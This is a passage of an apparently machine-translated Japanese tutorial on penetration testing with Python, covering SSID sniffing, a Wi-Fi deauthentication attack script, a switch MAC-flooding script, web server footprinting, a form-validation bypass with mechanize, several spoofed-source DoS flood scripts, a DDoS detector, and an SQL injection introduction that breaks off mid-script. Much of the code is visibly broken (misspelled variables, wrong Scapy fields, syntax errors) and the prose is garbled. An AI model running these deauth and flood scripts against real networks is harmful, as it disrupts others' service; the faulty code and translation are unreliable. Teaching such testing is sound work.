ステップ7:ターゲットマシンのARPキャッシュを再度チェックします

ターゲットマシンのARPキャッシュを再度確認すると、偽のアドレス「1.1.1.1」が表示されます。

ワイヤレスネットワークのペンテスト

無線システムには多くの柔軟性がありますが、一方で、深刻なセキュリティ問題にもつながります。 そして、これはどのように深刻なセキュリティ問題になりますか?攻撃者は、無線接続の場合、有線ネットワークの場合のように物理的にアクセスするのではなく、攻撃する信号の可用性があればよいのです。 ワイヤレスシステムの侵入テストは、有線ネットワークで行うよりも簡単な作業です。 ワイヤレスメディアに対して適切な物理的セキュリティ対策を実際に適用することはできません。十分近くにある場合、空中を流れるすべてを「聞く」ことができます(少なくともワイヤレスアダプターは聞くことができます)。

前提条件

ワイヤレスネットワークのペンテストについて詳しく学習する前に、用語とクライアントとワイヤレスシステム間の通信プロセスについて説明します。

重要な用語

ここで、ワイヤレスネットワークのペンテストに関連する重要な用語を学びましょう。

アクセスポイント(AP)

アクセスポイント(AP)は、802.11ワイヤレス実装の中央ノードです。 このポイントは、ユーザーをネットワーク内の他のユーザーに接続するために使用され、ワイヤレスLAN(WLAN)と固定有線ネットワーク間の相互接続ポイントとしても機能します。 WLANでは、APはデータを送受信するステーションです。

サービスセット識別子(SSID)

これは、基本的にワイヤレスネットワークに割り当てられた名前である0〜32バイト長の人間が読めるテキスト文字列です。 ネットワーク内のすべてのデバイスは、この大文字と小文字を区別する名前を使用して、ワイヤレスネットワーク(Wi-Fi)で通信する必要があります。

基本サービスセット識別(BSSID)

これは、ワイヤレスアクセスポイント(AP)で実行されているWi-FiチップセットのMACアドレスです。 ランダムに生成されます。

チャンネル番号

これは、アクセスポイント(AP)が送信に使用する無線周波数の範囲を表します。

クライアントとワイヤレスシステム間の通信

理解する必要があるもう1つの重要なことは、クライアントとワイヤレスシステム間の通信プロセスです。 次の図の助けを借りて、同じことを理解することができます-

クライアントと無線システム通信

ビーコンフレーム

クライアントとアクセスポイント間の通信プロセスでは、APはビーコンフレームを定期的に送信して、その存在を示します。 このフレームには、SSID、BSSID、およびチャネル番号に関連する情報が付属しています。

プローブ要求

これで、クライアントデバイスは範囲内のAPを確認するためのプローブ要求を送信します。 プローブ要求を送信した後、APからのプローブ応答を待ちます。 プローブリクエストには、APのSSID、ベンダー固有の情報などの情報が含まれます。

プローブの応答

現在、APはプローブ要求を取得した後、サポートされているデータレート、機能などの情報を含むプローブ応答を送信します。

認証リクエスト

これで、クライアントデバイスはそのIDを含む認証要求フレームを送信します。

認証応答

これに応じて、APは承認または拒否を示す認証応答フレームを送信します。

協会のリクエスト

認証が成功すると、クライアントデバイスは、サポートされているデータレートとAPのSSIDを含むアソシエーション要求フレームを送信しました。

協会の応答

これに応じて、APは受け入れまたは拒否を示すアソシエーション応答フレームを送信します。 受け入れた場合、クライアントデバイスのアソシエーションIDが作成されます。

Pythonを使用したワイヤレスサービスセット識別子(SSID)の検索

Scapyライブラリを使用するだけでなく、rawソケットメソッドを使用してSSIDに関する情報を収集できます。

rawソケットメソッド

*mon0* がワイヤレスパケットをキャプチャすることは既に知っています。そのため、モニターモードを *mon0* に設定する必要があります。 Kali Linuxでは、 *airmon-ng* スクリプトを使用して実行できます。 このスクリプトを実行すると、ワイヤレスカードに *wlan1* という名前が付けられます。 今、次のコマンドの助けを借りて、 *mon0* でモニターモードを有効にする必要があります-
airmon-ng start wlan1

以下は、APのSSIDを提供する生のソケットメソッド、Pythonスクリプトです-

まず、次のようにソケットモジュールをインポートする必要があります-

import socket

次に、3つのパラメーターを持つソケットを作成します。 最初のパラメーターはパケットインターフェイス(Linux固有の場合はPF_PACKET、Windowsの場合はAF_INET)、2番目のパラメーターはそれがrawソケットであるかどうか、3番目のパラメーターはすべてのパケットに関心があることを示します。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

これで、次の行は mon0 モードと 0x0003 をバインドします。

s.bind(("mon0", 0x0003))

次に、空のリストを宣言する必要があります。このリストには、APのSSIDが格納されます。

ap_list = []

次に、パケットを受信するために* recvfrom()*メソッドを呼び出す必要があります。 スニッフィングを続行するには、無限whileループを使用します。

while True:
   packet = s.recvfrom(2048)

次のコード行は、フレームがビーコンフレームを示す8ビットであるかどうかを示しています。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])

print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Scapyを使用したSSIDスニファー

Scapyは、Wi-Fiパケットを簡単にスニッフィングできる最高のライブラリの1つです。 Scapyの詳細については、https://scapy.readthedocs.io/en/latest/をご覧ください。 まず、Sacpyをインタラクティブモードで実行し、confコマンドを使用してifaceの値を取得します。 デフォルトのインターフェースはeth0です。 上記のドームがあるので、このモードをmon0に変更する必要があります。 それは次のように行うことができます-

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

次に、Scapyをライブラリとしてインポートします。 さらに、次のPythonスクリプトを実行するとSSIDが得られます-

from scapy.all import *

次に、APのSSIDを保存する空のリストを宣言する必要があります。

ap_list = []

ここで、完全なパケット解析ロジックを持つ* Packet_info()*という名前の関数を定義します。 引数pktがあります。

def Packet_info(pkt) :

次のステートメントでは、802.11トラフィックを意味する Dot11 トラフィックのみを通過させるフィルターを適用します。 次の行もフィルターであり、フレームタイプ0(管理フレームを表す)とフレームサブタイプが8(ビーコンフレームを表す)を持つトラフィックを通過させます。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

これで、スニフ関数は ifacemon0 (ワイヤレスパケット用)でデータをスニッフィングし、 Packet_info 関数を呼び出します。

sniff(iface = "mon0", prn = Packet_info)

上記のPythonスクリプトを実装するには、モニターモードを使用して電波を探知できるWi-Fiカードが必要です。

アクセスポイントクライアントの検出

アクセスポイントのクライアントを検出するには、プローブ要求フレームをキャプチャする必要があります。 Scapyを使用してSSIDスニファー用のPythonスクリプトで行ったように、それを行うことができます。 プローブリクエストフレームをキャプチャするには、 Dot11ProbeReq を指定する必要があります。 以下は、アクセスポイントのクライアントを検出するPythonスクリプトです-

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info

      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)

sniff(iface = "mon0", prn = Probe_info)

ワイヤレス攻撃

ペンタスターの観点から、ワイヤレス攻撃がどのように発生するかを理解することは非常に重要です。 このセクションでは、2種類のワイヤレス攻撃について説明します-

  • 認証解除(deauth)攻撃 *MACフラッディング攻撃

認証解除(deauth)攻撃

クライアントが切断したいときはいつでも、クライアントデバイスとアクセスポイント間の通信プロセスで、認証解除フレームを送信する必要があります。 クライアントからのそのフレームに応じて、APは認証解除フレームも送信します。 攻撃者は、被害者のMACアドレスをスプーフィングし、認証解除フレームをAPに送信することにより、この通常のプロセスから利点を得ることができます。 このため、クライアントとAP間の接続はドロップされます。 以下は、認証解除攻撃を実行するためのPythonスクリプトです-

まず、Scapyをライブラリとしてインポートします-

from scapy.all import*
import sys

次の2つのステートメントは、それぞれAPと被害者のMACアドレスを入力します。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

次に、認証解除フレームを作成する必要があります。 次のステートメントを実行して作成できます。

frame = RadioTap()/Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/Dot11Deauth()

コードの次の行は、送信されたパケットの総数を表します。ここでは500であり、2つのパケット間の間隔です。

sendp(frame, iface = "mon0", count = 500, inter = .1)

出力

実行すると、上記のコマンドは次の出力を生成します-

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

これに続いて、deauth frameが作成されます。これにより、クライアントに代わってアクセスポイントに送信されます。 これにより、それらの間の接続がキャンセルされます。

ここでの質問は、Pythonスクリプトを使用してdeauth攻撃をどのように検出するかです。 次のPythonスクリプトの実行は、このような攻撃の検出に役立ちます-

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

上記のスクリプトでは、ステートメント pkt.subtype == 12 は認証解除フレームを示し、グローバルに定義されている変数Iはパケット数を示しています。

出力

上記のスクリプトの実行は、次の出力を生成します-

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MACアドレスフラッディング攻撃

MACアドレスフラッディング攻撃(CAMテーブルフラッディング攻撃)は、スイッチポートに接続された攻撃者が異なる偽の送信元MACアドレスを持つ非常に多数のイーサネットフレームでスイッチインターフェイスをフラッディングするネットワーク攻撃の一種です。 CAMテーブルオーバーフローは、MACアドレスの流入がテーブルにフラッディングされ、CAMテーブルのしきい値に達すると発生します。 これにより、スイッチはハブのように動作し、すべてのポートのトラフィックでネットワークをフラッディングします。 このような攻撃は非常に簡単に開始できます。 次のPythonスクリプトは、このようなCAMフラッディング攻撃の開始に役立ちます-

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

この種の攻撃の主な目的は、スイッチのセキュリティを確認することです。 MACフラッディング攻撃の影響を軽減したい場合は、ポートセキュリティを使用する必要があります。

アプリケーション層

WebアプリケーションとWebサーバーは、オンラインプレゼンスにとって重要であり、それらに対して観察される攻撃は、インターネットで試行された攻撃全体の70%以上を占めています。 これらの攻撃は、信頼できるWebサイトを悪意のあるWebサイトに変換しようとします。 このため、WebサーバーとWebアプリケーションのペンテストは重要な役割を果たします。

Webサーバーのフットプリント

Webサーバーの安全性を考慮する必要があるのはなぜですか? 電子商取引業界の急速な成長に伴い、攻撃者の主な標的はWebサーバーであるためです。 Webサーバーのペンテストでは、Webサーバー、そのホスティングソフトウェアとオペレーティングシステム、およびそれらで実行されているアプリケーションについて知る必要があります。 Webサーバーに関するこのような情報の収集は、Webサーバーのフットプリントと呼ばれます。

次のセクションでは、Webサーバーのフットプリントのさまざまな方法について説明します。

Webサーバーのフットプリントの方法

Webサーバーは、要求の処理と応答の処理専用のサーバーソフトウェアまたはハードウェアです。 これは、Webサーバーのペネトレーションテストを行う際に、ペンタスターが注力する重要な領域です。

次に、Pythonで実装されたいくつかのメソッドについて説明します。これらのメソッドは、Webサーバーのフットプリントのために実行できます-

HTTPメソッドの可用性のテスト

ペネトレーションテスターに​​とって非常に良いプラクティスは、利用可能なさまざまなHTTPメソッドをリストすることから始めることです。 以下は、ターゲットWebサーバーに接続し、使用可能なHTTPメソッドを列挙できるPythonスクリプトです。

まず、リクエストライブラリをインポートする必要があります-

import requests

要求ライブラリをインポートした後、送信するHTTPメソッドの配列を作成します。 「GET」、「POST」、「PUT」、「DELETE」、「OPTIONS」などの標準メソッドと、非標準メソッド「TEST」を使用して、Webサーバーが予期しない入力をどのように処理できるかを確認します。

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

次のコード行はスクリプトのメインループです。このループはHTTPパケットをWebサーバーに送信し、メソッドとステータスコードを出力します。

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

次の行では、TRACEメソッドを送信して、クロスサイトトレース(XST)の可能性をテストします。

if method == 'TRACE' and 'TRACE/HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

特定のWebサーバーに対して上記のスクリプトを実行すると、Webサーバーによって受け入れられた特定のメソッドに対して200 OK応答が返されます。 Webサーバーが明示的にメソッドを拒否した場合、403 Forbidden応答を受け取ります。 クロスサイトトレース(XST)をテストするためにTRACEメソッドを送信すると、Webサーバーから 405 Not Allowed 応答が返されます。そうでない場合は、「クロスサイトトレース(XST)が可能です」

HTTPヘッダーのチェックによるフットプリント

HTTPヘッダーは、Webサーバーからの要求と応答の両方にあります。 また、サーバーに関する非常に重要な情報も含まれています。 それが、ペネトレーションテスターが常にHTTPヘッダーを介した情報の解析に関心がある理由です。 以下は、Webサーバーのヘッダーに関する情報を取得するためのPythonスクリプトです-

まず、リクエストライブラリをインポートしましょう-

import requests

GET要求をWebサーバーに送信する必要があります。 次のコード行は、要求ライブラリを介して単純なGET要求を作成します。

request = requests.get('enter the URL')

次に、情報が必要なヘッダーのリストを生成します。

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

次はtry and exceptブロックです。

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

特定のWebサーバーに対して上記のスクリプトを実行した後、ヘッダーリストで提供されるヘッダーに関する情報を取得します。 特定のヘッダーに関する情報がない場合は、「詳細が見つかりません」というメッセージが表示されます。 HTTP_headerフィールドの詳細については、リンク— link:/http/http_header_fields [https://www.finddevguides.com/http/http_header_fields]から学ぶこともできます。

安全でないWebサーバー構成のテスト

HTTPヘッダー情報を使用して、安全でないWebサーバー構成をテストできます。 次のPythonスクリプトでは、try/exceptブロックを使用して、テキストファイル名 websites.txt に保存されているURLの数に対する安全でないWebサーバーヘッダーをテストします-

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')

   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')

   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')

   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')

   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

Webアプリケーションのフットプリント

前のセクションでは、Webサーバーのフットプリントについて説明しました。 同様に、Webアプリケーションのフットプリントも、侵入テストの観点から重要であると考えられています。

次のセクションでは、Webアプリケーションのフットプリントのさまざまな方法について学習します。

Webアプリケーションのフットプリントの方法

Webアプリケーションは、クライアントサーバープログラムであり、Webサーバー内のクライアントによって実行されます。 これは、ペンテスターがWebアプリケーションの侵入テストを行う際に焦点を当てるもう1つの重要な領域です。

次に、Pythonで実装されたさまざまなメソッドについて説明します。これらのメソッドは、Webアプリケーションのフットプリントに使用できます-

パーサーBeautifulSoupを使用して情報を収集する

Webページからすべてのハイパーリンクを収集するとします。 BeautifulSoupというパーサーを使用できます。 パーサーは、HTMLおよびXMLファイルからデータを引き出すためのPythonライブラリです。 スープオブジェクトを作成するために入力(ドキュメントまたはURL)が必要であり、Webページ自体を取得できないため、 urlib で使用できます。

まず、必要なパッケージをインポートしましょう。 urlibと BeautifulSoup をインポートします。 BeautifulSoupをインポートする前に、インストールする必要があります。

import urllib
from bs4 import BeautifulSoup

以下に示すPythonスクリプトは、Webページのタイトルとハイパーリンクを収集します-

ここで、WebサイトのURLを保存できる変数が必要です。 ここでは、「url」という名前の変数を使用します。 また、Webページを保存し、Webページを変数 html_page に割り当てることができる* page.read()*関数を使用します。

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()
*html_page* は、スープオブジェクトを作成するための入力として割り当てられます。
soup_object = BeautifulSoup(html_page)

次の2行は、それぞれタグ付きおよびタグなしのタイトル名を出力します。

print soup_object.title
print soup_object.title.text

以下に示すコード行は、すべてのハイパーリンクを保存します。

for link in soup_object.find_all('a'):
   print(link.get('href'))

バナーをつかむ

バナーはサーバーに関する情報を含むテキストメッセージのようなものであり、バナーグラブはバナー自体が提供する情報を取得するプロセスです。 次に、このバナーがどのように生成されるかを知る必要があります。 送信されるパケットのヘッダーによって生成されます。 クライアントがポートへの接続を試みている間、ヘッダーにはサーバーに関する情報が含まれているため、サーバーは応答します。

次のPythonスクリプトは、ソケットプログラミングを使用してバナーを取得するのに役立ちます-

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

上記のスクリプトを実行した後、前のセクションのHTTPヘッダーのフットプリントのPythonスクリプトから取得したのと同様のヘッダーに関する情報を取得します。

クライアント側の検証

この章では、Python Pentestingで検証がどのように役立つかを学習します。

検証の主な目的は、ユーザーが操作を正常に完了するために必要な、適切にフォーマットされた情報を提供したことをテストおよび確認することです。

検証には2つの異なるタイプがあります-

  • クライアント側の検証(Webブラウザー)
  • サーバー側の検証

サーバー側の検証とクライアント側の検証

ポストバックセッション中にサーバー側で行われるユーザー入力検証は、*サーバー側検証*と呼ばれます。 PHPやASP.Netなどの言語は、サーバー側の検証を使用します。 サーバー側の検証プロセスが終了すると、新しい動的なWebページを生成して、フィードバックがクライアントに送信されます。 サーバー側の検証の助けを借りて、悪意のあるユーザーから保護することができます。

一方、クライアント側で行われるユーザー入力検証は、クライアント側検証と呼ばれます。 JavaScriptやVBScriptなどのスクリプト言語は、*クライアント側の検証*に使用されます。 この種類の検証では、すべてのユーザー入力検証はユーザーのブラウザーでのみ行われます。 ハッカーはクライアント側のスクリプト言語を簡単にバイパスして、危険な入力をサーバーに送信できるため、サーバー側の検証ほど安全ではありません。

クライアント側パラメーターの調整:検証バイパス

HTTPプロトコルでパラメーターを渡すには、POSTおよびGETメソッドを使用します。 GETは指定されたリソースからデータを要求するために使用され、POSTはデータをサーバーに送信してリソースを作成または更新するために使用されます。 これら2つの方法の大きな違いの1つは、WebサイトがGETメソッドを使用している場合、渡すパラメーターがURLに表示され、このパラメーターを変更してWebサーバーに渡すことができることです。 たとえば、クエリ文字列(名前/値のペア)は、GETリクエストのURLで送信されます: /test/hello_form.php?name1 = value1&name2 = value2 。 一方、POSTメソッドの使用中はパラメーターは表示されません。 POSTでサーバーに送信されたデータは、HTTP要求の要求本文に格納されます。 たとえば、POST /test/hello_form.php HTTP/1.1 Host: 'URL' name1 = value1&name2 = value2

検証バイパス用のPythonモジュール

使用するPythonモジュールは mechanize です。 これはPython Webブラウザーであり、WebページでWebフォームを取得する機能を提供し、入力値の送信も容易にします。 機械化の助けを借りて、検証をバイパスし、クライアント側のパラメーターを調整できます。 ただし、Pythonスクリプトでインポートする前に、次のコマンドを実行してインストールする必要があります-

pip install mechanize

以下はPythonスクリプトで、mechanizeを使用してPOSTメソッドを使用してパラメーターを渡すWebフォームの検証をバイパスします。 Webフォームはリンクlink//php/php_validation_example [https://www.finddevguides.com/php/php_validation_example]から取得でき、任意のダミーWebサイトで使用できます。

まず、機械化ブラウザをインポートしましょう-

import mechanize

ここで、機械化ブラウザの brwsr という名前のオブジェクトを作成します-

brwsr = mechanize.Browser()

次のコード行は、ユーザーエージェントがロボットではないことを示しています。

brwsr.set_handle_robots( False )

次に、検証をバイパスする必要があるWebフォームを含むダミーWebサイトのURLを提供する必要があります。

url = input("Enter URL ")

さて、次の行はいくつかの親をtrueに設定します。

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

次に、Webページを開き、そのページにWebフォームを印刷します。

brwsr.open(url)
for form in brwsr.forms():
   print form

コードの次の行は、指定されたフィールドの検証をバイパスします。

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

スクリプトの最後の部分は、検証をバイパスするWebフォームのフィールドに応じて変更できます。 ここで、上記のスクリプトでは、空白のままにできない(「Webフォームのコーディング」で確認できます)「名前」*と「性別」*の2つのフィールドを取りましたが、このスクリプトはその検証をバイパスします。

DoSおよびDDoS攻撃

この章では、DoSおよびDdoS攻撃について学び、それらを検出する方法を理解します。

電子商取引業界のブームにより、Webサーバーは攻撃を受けやすくなり、ハッカーの標的になりやすくなりました。 ハッカーは通常、2種類の攻撃を試みます-

  • DoS(サービス拒否)
  • DDoS(分散型サービス拒否)

DoS(サービス拒否)攻撃

サービス拒否(DoS)攻撃は、ネットワークリソースを利用できないようにするハッカーによる試みです。 通常、インターネットに接続されているホストを一時的または無期限に中断します。 これらの攻撃は、通常、銀行、クレジットカード決済ゲートウェイなどのミッションクリティカルなWebサーバーでホストされているサービスを標的としています。

DoS攻撃の症状

  • 異常に遅いネットワークパフォーマンス。
  • 特定のWebサイトが利用できない。
  • Webサイトにアクセスできない。
  • 受信したスパムメールの数の劇的な増加。
  • ウェブまたはインターネットサービスへの長期的なアクセス拒否。 *特定のWebサイトが利用できない。

DoS攻撃の種類とそのPython実装

DoS攻撃は、データリンク、ネットワーク、またはアプリケーション層で実装できます。 さまざまな種類のDoS攻撃について学びましょう&; Pythonでの実装-

シングルIPシングルポート

単一のIPを使用して単一のポート番号から多数のパケットがWebサーバーに送信されます。 Webサーバーの動作を確認するために使用される低レベルの攻撃です。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、シングルIPシングルポートDoS攻撃を実装するのに役立ちます-

from scapy.all import*
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print ("packet sent ", i)
      i = i + 1

実行時に、上記のスクリプトは次の3つのことを要求します-

  • ソースおよびターゲットのIPアドレス。
  • 送信元ポート番号のIPアドレス。 *次に、その動作を確認するためにサーバーに大量のパケットを送信します。

シングルIPマルチポート

単一のIPを使用して複数のポートから多数のパケットがWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のpythonスクリプトは、単一IP複数ポートDoS攻撃の実装に役立ちます-

from scapy.all import*
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1/TCP1
      send(pkt, inter = .001)

      print ("packet sent ", i)
         i = i + 1

複数のIPシングルポート

複数のIPを使用して、単一のポート番号から多数のパケットがWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、単一IP複数ポートDoS攻撃を実装しています-

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”

   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

複数IP複数ポート

多数のパケットが、複数のIPを使用して複数のポートからWebサーバーに送信されます。 Pythonでの実装は、Scapyを使用して実行できます。 次のPythonスクリプトは、複数IPの複数ポートDoS攻撃の実装に役立ちます-

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d

   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1/TCP1
      send(pkt,inter = .001)

      print ("packet sent ", i)
         i = i + 1

DDoS(分散型サービス拒否)攻撃

分散型サービス拒否(DDoS)攻撃は、複数のソースから生成された大量のトラフィックでオンラインサービスまたはWebサイトを過負荷にすることにより、オンラインサービスまたはWebサイトを利用不能にする試みです。

1つのコンピューターと1つのインターネット接続を使用してターゲットリソースをパケットでフラッディングするサービス拒否(DoS)攻撃とは異なり、DDoS攻撃は多くのコンピューターと多くのインターネット接続を使用します。 。 大規模なボリュームDDoS攻撃は、1秒あたり数十ギガビット(さらには数百ギガビット)で測定されるトラフィックを生成できます。 詳細はlink:/ethical hacking/ethical hacking ddos​​ attack [https://www.finddevguides.com/ethical_hacking/ethical_hacking_ddos_attacks]で読むことができます。

Pythonを使用したDDoSの検出

実際、DDoS攻撃は、トラフィックを送信しているホストが偽のホストまたは実際のホストであることがわからないため、検出が少し困難です。 以下に示すPythonスクリプトは、DDoS攻撃の検出に役立ちます。

まず、必要なライブラリをインポートしましょう-

import socket
import struct

from datetime import datetime

ここで、前のセクションでも作成したようにソケットを作成します。

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

空の辞書を使用します-

dict = {}

次のコード行は、追加モードでのDDoS攻撃の詳細を含むテキストファイルを開きます。

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

次のコード行を使用すると、プログラムが実行されるたびに現在の時刻が書き込まれます。

file_txt.writelines(t1)
file_txt.writelines("\n")

ここで、特定のIPからのヒットを想定する必要があります。 ここでは、特定のIPが15回以上ヒットしている場合、攻撃であると想定しています。

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

次のコード行は、IPが辞書に存在するかどうかを確認します。 存在する場合は、1増加します。

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

コードの次の行は、冗長性を削除するために使用されます。

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

上記のスクリプトを実行した後、結果をテキストファイルで取得します。 スクリプトによると、IPが15回以上ヒットすると、そのIPアドレスとともにDDoS攻撃が検出されるため、IPが出力されます。

Python侵入テスト-SQLi Web攻撃

SQLインジェクションは、Webアプリケーションに接続されているデータベースから必要な応答を取得するために、URL文字列またはデータ構造に配置される一連のSQLコマンドです。 このタイプのattackkは通常、PHPまたはASP.NETを使用して開発されたWebページで発生します。

SQLインジェクション攻撃は、次の意図で行うことができます-

  • データベースのコンテンツを変更するには
  • データベースのコンテンツを変更するには
  • アプリケーションで許可されていないさまざまなクエリを実行するには

このタイプの攻撃は、アプリケーションが入力をSQLステートメントに渡す前に適切に検証しない場合に機能します。 注入は通常、アドレスバー、検索フィールド、またはデータフィールドに配置されます。

WebアプリケーションがSQLインジェクション攻撃に対して脆弱かどうかを検出する最も簡単な方法は、文字列に「」文字を使用して、エラーが発生するかどうかを確認することです。

SQLi攻撃の種類

このセクションでは、さまざまなタイプのSQLi攻撃について学習します。 攻撃は、次の2つのタイプに分類することができます-

  • インバンドSQLインジェクション(シンプルSQLi)
  • 推論SQLインジェクション(ブラインドSQLi)

インバンドSQLインジェクション(シンプルSQLi)

最も一般的なSQLインジェクションです。 この種のSQLインジェクションは、主に攻撃者が同じ通信チャネルを使用して攻撃を開始し、結果を集約できる場合に発生します。 インバンドSQLインジェクションは、さらに2つのタイプに分けられます-

  • エラーベースのSQLインジェクション-エラーベースのSQLインジェクション技術は、データベースの構造に関する情報を取得するためにデータベースサーバーによってスローされるエラーメッセージに依存しています。
  • ユニオンベースのSQLインジェクション-UNION SQL演算子を利用して2つ以上のSELECTステートメントの結果を単一の結果に結合し、HTTP応答の一部として返される別の帯域内SQLインジェクション技術です。

推論SQLインジェクション(ブラインドSQLi)

この種のSQLインジェクション攻撃では、Webアプリケーション経由でデータが転送されないため、攻撃者はインバンド攻撃の結果を見ることができません。 これがブラインドSQLiとも呼ばれる理由です。 推論SQLインジェクションにはさらに2つのタイプがあります-

  • *ブールベースのブラインドSQLi *-この種の手法は、データベースにSQLクエリを送信することに依存しており、クエリがTRUEまたはFALSEの結果を返すかどうかに応じて、アプリケーションに異なる結果を強制的に返します。
  • *時間ベースのブラインドSQLi *-この種の手法は、データベースへのSQLクエリの送信に依存しており、データベースが応答するまでに指定された時間(秒単位)待機するように強制します。 応答時間は、クエリの結果がTRUEかFALSEかを攻撃者に示します。

アプリケーションへの入力データを操作することにより、すべてのタイプのSQLiを実装できます。 次の例では、アプリケーションに攻撃ベクトルを挿入し、出力を分析して攻撃の可能性を検証するPythonスクリプトを作成しています。 ここでは、 mechanize という名前のpythonモジュールを使用します。これは、WebページでWebフォームを取得する機能を提供し、入力値の送信も容易にします。 このモジュールは、クライアント側の検証にも使用しました。

次のPythonスクリプトは、 mechanize を使用してフォームを送信し、応答を分析するのに役立ちます-

まず、 mechanize モジュールをインポートする必要があります。

import mechanize

次に、フォームの送信後に応答を取得するためのURLの名前を指定します。

url = input("Enter the full url")

次のコード行は、URLを開きます。

